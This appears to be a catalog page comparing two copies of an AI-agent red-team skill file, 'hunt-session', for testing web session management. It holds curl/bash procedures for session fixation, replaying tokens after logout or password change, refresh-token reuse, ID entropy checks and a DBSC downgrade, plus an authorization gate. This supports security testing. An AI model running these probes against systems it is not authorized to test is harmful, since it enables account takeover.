domains / security / session-management-hunt / hunt-session
The uphiago copy is the more complete, executable procedure (two-session rule, curl jar helpers, phased methodology), while the sickn33 copy adds a mandatory authorization gate, an autonomous testing priority, and three concise lifecycle patterns (logout, fixation, password-change) that the uphiago copy does not explicitly front-load. Neither copy is a pure reproduction of the other; crowning one would hide the authorization gate and the concise pattern list, or the detailed two-session proof method.
| Repository | Path |
|---|---|
| uphiago/recon-skills | redteam/hunt-session/SKILL.md |
| sickn33/agentic-awesome-skills | plugins/agentic-awesome-skills-claude/skills/hunt-session/SKILL.md |
| Role | Repository | Path |
|---|---|---|
| peer | uphiago/recon-skills | redteam/hunt-session/SKILL.md |
| peer | sickn33/agentic-awesome-skills | plugins/agentic-awesome-skills-claude/skills/hunt-session/SKILL.md |
| adapter | sickn33/agentic-awesome-skills | plugins/agentic-awesome-skills/skills/hunt-session/SKILL.md |
| adapter | sickn33/agentic-awesome-skills | skills/hunt-session/SKILL.md |
---
name: hunt-session
description: "Hunt Session Management vulnerabilities — session fixation, insufficient invalidation on logout/password-change/email-change, predictable or low-entropy session IDs, JWT-as-session with no exp/revocation, refresh-token rotation/reuse-detection gaps, OAuth/SSO session linkage, device-bound-session (DBSC) downgrade, and cookie attribute issues. Validate with TWO real sessions (attacker A + victim B), body-diff every 200, and OOB confirmation for theft chains."
version: 1.1.0
license: MIT
category: redteam
tags: [session, hunt, redteam]
---
# HUNT-SESSION — Session Management
## Authorization Gate
Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
1. Ask the user to state the exact target URL, IP, account, or resource.
2. Ask the user to confirm written authorization and the permitted scope.
3. Show the exact command(s) and explain their expected effect.
4. Wait for explicit confirmation in the current conversation.
Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
## Autonomous Testing Priority
Missing HttpOnly on cookies is auto-detected — focus active testing on lifecycle invalidation (higher impact).
## Crown Jewel Targets
Session fixation leading to admin hijack = Critical. Session surviving a password change = High-to-Critical (persistent ATO from a stolen cookie that the victim believes they revoked by resetting their password).
**Highest-value chains:**
- **Session fixation** — server accepts a session ID set by the client and does NOT regenerate it on login → attacker pre-plants an ID, victim authenticates, attacker rides the now-authenticated session → persistent ATO.
- **No invalidation on logout** — old token still works after `/logout` → theft window never closes.
- **No invalidation on password / email change** — a stolen session survives the victim's "I think I was hacked, let me reset" → persistent ATO. This is the single highest-paid session bug class.
- **Refresh-token reuse without rotation-detection** — a leaked refresh token mints fresh access tokens forever; no reuse-detection means the legitimate user's later refresh does NOT revoke the attacker's branch.
- **Predictable / low-entropy session ID** — sequential, timestamp- or userId-derived IDs → brute-force or compute other users' sessions.
- **JWT-as-session with no `exp` / no revocation list** — stolen JWT = permanent access; logout is cosmetic.
## Grounding — patterns that shaped each phase
No invented CVE/report IDs below. These are the *named, publicly-documented* patterns this skill encodes:
- **Session fixation, login-CSRF, no-regeneration-on-auth** — OWASP WSTG-SESS-03 / WSTG-SESS-01; the classic ACROS / Mitja Kolšek session-fixation paper. Highest-impact variant: fixing the session of an SSO/admin user.
- **SameSite=Lax sibling-subdomain CSRF reaching session state** — Argo CD **CVE-2024-22424** (Lax cookies sent on top-level cross-site navigations from a sibling subdomain). Use this when a session cookie relies on `SameSite=Lax` as its only CSRF defence.
- **Refresh-token rotation & automatic reuse-detection** — the Auth0/IETF OAuth-Security-BCP model: a rotated refresh token, if replayed, must invalidate the *entire token family*. Absence = the core bug to prove.
- **Device Bound Session Credentials (DBSC)** — the W3C/Chrome DBSC draft binds a session to a TPM/device key. Test the *downgrade*: does the server still accept a non-bound cookie when the DBSC challenge is stripped?
- **Cookie attribute hardening** — OWASP WSTG-SESS-02; `__Host-`/`__Secure-` prefixes per RFC 6265bis. Missing `HttpOnly` is only a finding when a real XSS/DOM sink exists (chain with `hunt-xss`/`hunt-dom`).
- **Entropy** — NIST SP 800-63B requires ≥64 bits of entropy in a session identifier. Treat anything decodable to a counter/timestamp/userId as a finding regardless of length.
Cross-refs: ATO chaining → `hunt-ato`; JWT alg/kid tampering → `hunt-api-misconfig`; OAuth code/state flaws → `hunt-oauth`; CSRF mechanics → `hunt-csrf`; cookie-theft sinks → `hunt-xss` / `hunt-dom`.
## Attack Surface Signals
```
Set-Cookie: session=... # name varies: sid, JSESSIONID, connect.sid,
# PHPSESSID, ASP.NET_SessionId, laravel_session, _csrf
/login /logout /api/login /oauth/token
/auth/refresh /api/token/refresh # refresh-token rotation surface
/account/change-password /settings/email
?sid= ?session= in URL # session-in-URL → leaks via Referer/logs (finding)
```
```
# Header signals worth flagging immediately:
Set-Cookie: session=abc; Path=/ # no HttpOnly/Secure/SameSite
Set-Cookie: session=abc; SameSite=None # None without Secure = rejected by modern browsers, but flag
Set-Cookie: __Host-sess=...; Secure; Path=/ # GOOD — hard to fixate
Sec-Session-Registration: ... # DBSC in play → test downgrade
```
## Step-by-Step Hunting Methodology
> **Two-session rule.** Every invalidation/fixation claim is proven with TWO concrete sessions captured by a real flow — attacker **A** and victim **B** — never with hardcoded placeholder strings. Helpers below capture real cookies from `curl`'s Netscape jar.
```bash
TARGET=target.com
JAR_A=$(mktemp); JAR_B=$(mktemp)
# Robust session-cookie extractor: handles #HttpOnly_ prefix lines and any
# cookie name (sid/JSESSIONID/connect.sid/PHPSESSID/...). Prints name=value.
get_cookie () { # $1=jar $2=name-regex (default: common session names)
local jar="$1" re="${2:-session|sid|sess|JSESSIONID|connect\.sid|PHPSESSID|laravel_session}"
awk -v re="$re" '
/^#HttpOnly_/ { sub(/^#HttpOnly_/,"" ); } # strip jar HttpOnly marker
/^#/ { next } # skip remaining comments
NF>=7 && $6 ~ re { print $6"="$7 } # field6=name field7=value
' "$jar" | tail -1
}
```
### Phase 1 — Session Fixation (regeneration-on-login)
```bash
# Step 1: grab a pre-auth session the SERVER hands an anonymous client.
curl --max-time 30 --connect-timeout 10 -s -L -c "$JAR_A" "https://$TARGET/login" -o /dev/null
PRE=$(get_cookie "$JAR_A"); echo "pre-auth: $PRE"
# Step 1b (stronger): can we FORCE an arbitrary ID? attacker-chosen value.
FIX="session=AAAAdeadbeefAAAA"
# Step 2: authenticate while CARRYING the pre-auth/forced cookie (reuse same jar).
curl --max-time 30 --connect-timeout 10 -s -L -c "$JAR_A" -b "$JAR_A" \
-X POST "https://$TARGET/login" \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'username=VICTIM&password=VICTIM_PASS' -o /dev/null
POST=$(get_cookie "$JAR_A"); echo "post-auth: $POST"
# Step 3: compare. If PRE == POST (or the forced value is still accepted) → fixation.
# Step 4: prove with a second session (victim B) that the fixed ID now carries auth.
curl --max-time 30 --connect-timeout 10 -s -L -c "$JAR_B" -b "$JAR_A" \
"https://$TARGET/dashboard" -o /dev/null
BODY_B=$(curl --max-time 30 --connect-timeout 10 -s -L -b "$JAR_A" "https://$TARGET/api/me")
echo "$BODY_B" | head -c 500
```
### Phase 2 — Invalidation on Logout
```bash
# Use victim B's authenticated jar.
curl --max-time 30 --connect-timeout 10 -s -L -c "$JAR_B" -b "$JAR_B" \
-X POST "https://$TARGET/logout" -o /dev/null
# Replay the OLD token on a protected resource.
RESP=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w '%{http_code}' \
-b "$JAR_B" "https://$TARGET/api/me")
echo "post-logout /api/me: $RESP"
# 200 with user data → session not invalidated on logout.
```
### Phase 3 — Invalidation on Password / Email Change
```bash
# Record session A before change.
PRE_PW=$(get_cookie "$JAR_A")
# Change password via account settings (use victim B's authenticated session).
curl --max-time 30 --connect-timeout 10 -s -L -c "$JAR_B" -b "$JAR_B" \
-X POST "https://$TARGET/account/change-password" \
-H 'Content-Type: application/json' \
-d '{"old_password":"OLD","new_password":"NEW"}' -o /dev/null
# Replay the OLD session A on a protected endpoint.
RESP=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w '%{http_code}' \
-b "$JAR_A" "https://$TARGET/api/me")
echo "post-password-change /api/me: $RESP"
# 200 → token not rotated on credential change = persistent ATO.
```
### Phase 4 — Refresh-Token Rotation / Reuse-Detection
```bash
# Obtain a refresh token (victim B).
REFRESH=$(curl --max-time 30 --connect-timeout 10 -s -L -c "$JAR_B" -b "$JAR_B" \
-X POST "https://$TARGET/oauth/token" \
-H 'Content-Type: application/json' \
-d '{"grant_type":"refresh_token","refresh_token":"<REFRESH_TOKEN>"}' | jq -r .refresh_token)
# Rotate once (legitimate user).
curl --max-time 30 --connect-timeout 10 -s -L -c "$JAR_B" -b "$JAR_B" \
-X POST "https://$TARGET/oauth/token" \
-H 'Content-Type: application/json' \
-d "{\"grant_type\":\"refresh_token\",\"refresh_token\":\"$REFRESH\"}" -o /dev/null
# Replay the OLD refresh token (attacker).
RESP=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w '%{http_code}' \
-X POST "https://$TARGET/oauth/token" \
-H 'Content-Type: application/json' \
-d "{\"grant_type\":\"refresh_token\",\"refresh_token\":\"$REFRESH\"}")
echo "replay old refresh: $RESP"
# 200 → no reuse-detection; the entire token family should have been revoked.
```
### Phase 5 — Predictable / Low-Entropy Session ID
```bash
# Collect several session IDs from anonymous requests.
for i in 1 2 3 4 5; do
JAR=$(mktemp)
curl --max-time 30 --connect-timeout 10 -s -L -c "$JAR" "https://$TARGET/login" -o /dev/null
get_cookie "$JAR"
rm -f "$JAR"
done
# If IDs are sequential, timestamp-derived, or userId-derived → finding.
```
### Phase 6 — JWT-as-Session (no exp / no revocation)
```bash
# Decode the JWT payload (base64url).
JWT_PAYLOAD=$(echo "$JWT" | cut -d. -f2 | base64 -d 2>/dev/null)
echo "$JWT_PAYLOAD" | jq .
# Check for exp claim. If absent, or if a revoked JWT still works after logout → finding.
```
### Phase 7 — DBSC Downgrade
```bash
# If Sec-Session-Registration is present, strip the DBSC challenge and see if the
# server still accepts a non-bound cookie.
curl --max-time 30 --connect-timeout 10 -s -L -c "$JAR_A" -b "$JAR_A" \
-H 'Sec-Session-Registration: ' \
"https://$TARGET/dashboard" -o /dev/null
# If the session is still valid without the DBSC binding → downgrade.
```
### Phase 8 — Cookie Attribute Issues
```bash
# Flag missing HttpOnly/Secure/SameSite. Missing HttpOnly is only a finding when a
# real XSS/DOM sink exists (chain with hunt-xss/hunt-dom).
curl --max-time 30 --connect-timeout 10 -s -I "https://$TARGET/login" | grep -i 'set-cookie'
```
## Proof Standard
A protected-resource 200 response (with user data) using a session token that should have been invalidated confirms the finding. For fixation, prove with TWO real sessions (attacker A + victim B) and body-diff every 200. For theft chains, use OOB confirmation.
## Content-Type Notes
Login and session endpoints vary — use `application/json` for REST APIs, `application/x-www-form-urlencoded` for traditional web forms. Try both if the first returns an unexpected response.